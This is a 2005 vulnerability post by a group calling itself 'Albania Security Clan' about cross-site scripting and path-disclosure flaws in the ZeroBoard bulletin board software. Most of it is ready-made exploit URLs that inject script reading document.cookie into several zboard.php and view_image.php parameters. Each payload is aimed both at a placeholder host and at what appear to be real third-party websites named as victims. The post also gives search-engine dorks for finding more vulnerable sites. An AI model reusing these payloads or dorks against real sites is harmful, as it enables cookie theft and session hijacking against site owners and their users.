Multiples vulnerability in ZeroBoard,

["albanian haxorz" <asc@xxxxxxxxxxxxxxxxxx>]

".,-*'^'~*-,._.,-*'^'~*-,._.,-*'^'~*-,._.,-*'^'~*-,._.,-*'^'~*-,._.,-
*'^'~*-,._."
".,-*-
,._                                                                    
                    -.,-*-,."
".,-*-,._                  ALBANIA SECURITY 
CLAN                            -.,-*-,."
".,-*-
,._                                                                    
                    -.,-*-,."
".,-*-
,._          ...::www.albanianhaxorz.org::...                          
      -.,-*-,."
".,-*-,.-
                                                                       
                 -.,-*-,."
".,-*-,.-               PROUD TO BE 
ALBANIAN                                 -.,-*-,."
".,-*-
,._                                                                    
                   -.,-*-,."
".,-*-,._               Long Live Ethnic 
Albania                                   -.,-*-,."
".,-*-
,._                                                                    
                   -.,-*-,."
".,-*-,._    Copyright (c) 2005 ASC irc.gigachat.net #ASC            -
.,-*-,."
".,-*-
,._                                                                    
                   -.,-*-,."
".,-*'^'~*-,._.,-*'^'~*-,._.,-*'^'~*-,._.,-*'^'~*-,._.,-*'^'~*-,._.,-
*'^'~*-,._."

Multiples vulnerability in ZeroBoard,

* Exploits *:

http://victime.al/dir/zboard.php?id=gallery&sn1=ALBANIAN%20RULEZ='%3E%
3Cscript%3Ealert(document.cookie)%3C/script%3E
(Cross Site Scripting and XSS for found websites with this bugs >>> 
www.google.com // */zboard.php?id=gallery )

>>> http://www.edu-sky.co.kr/board/zboard.php?id=gallery&sn1=ALBANIAN%
20RULEZ='%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

|

http://victime.al/bbs or zboard/zboard.php?
id=union_schdule&year=ALBANIAN%20RULEZ='%3E%3Cscript%3Ealert
(document.cookie)%3C/script%3E
(Path disclosure and Cross Site Scripting and XSS )

>>> http://union.snu.ac.kr/bbs/zboard.php?
id=union_schdule&year=ALBANIAN%20RULEZ='%3E%3Cscript%3Ealert
(document.cookie)%3C/script%3E

|

http://victime.al/bbs or zboard/skin/dir/view_image.php?
filename=ALBANIAN%20RULEZ='%3E%3Cscript%3Ealert(document.cookie)%
3C/script%3E
( Cross Site Scripting and XSS for found websites with this bugs >>> 
www.google.com // */zboard/skin/***/view_image.php? )

>>> http://mytheme.net/zboard/skin/nzeo4_pds/view_image.php?
filename=ALBANIAN%20RULEZ='%3E%3Cscript%3Ealert(document.cookie)%
3C/script%3E

|

http://victim.al/bbs or zboard/zboard.php?id=link&page=ALBANIAN%
20RULEZ='%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
( Cross Site Scripting edhe XSS for found websites with this bugs >>> 
www.google.com // */***/zboard.php?id=link&page= )

>>> http://jina1110.oolim.net/zboard/bbs/zboard.php?
id=link&page=ALBANIAN%20RULEZ='%3E%3Cscript%3Ealert(document.cookie)%
3C/script%3E

* Vendor *

http://www.zeroboard.com/


www.albanianhaxorz.org | irc.gigachat.net -j #ASC
ALBANIA SECURITY CLAN, ALBANIAN RULEZZZ.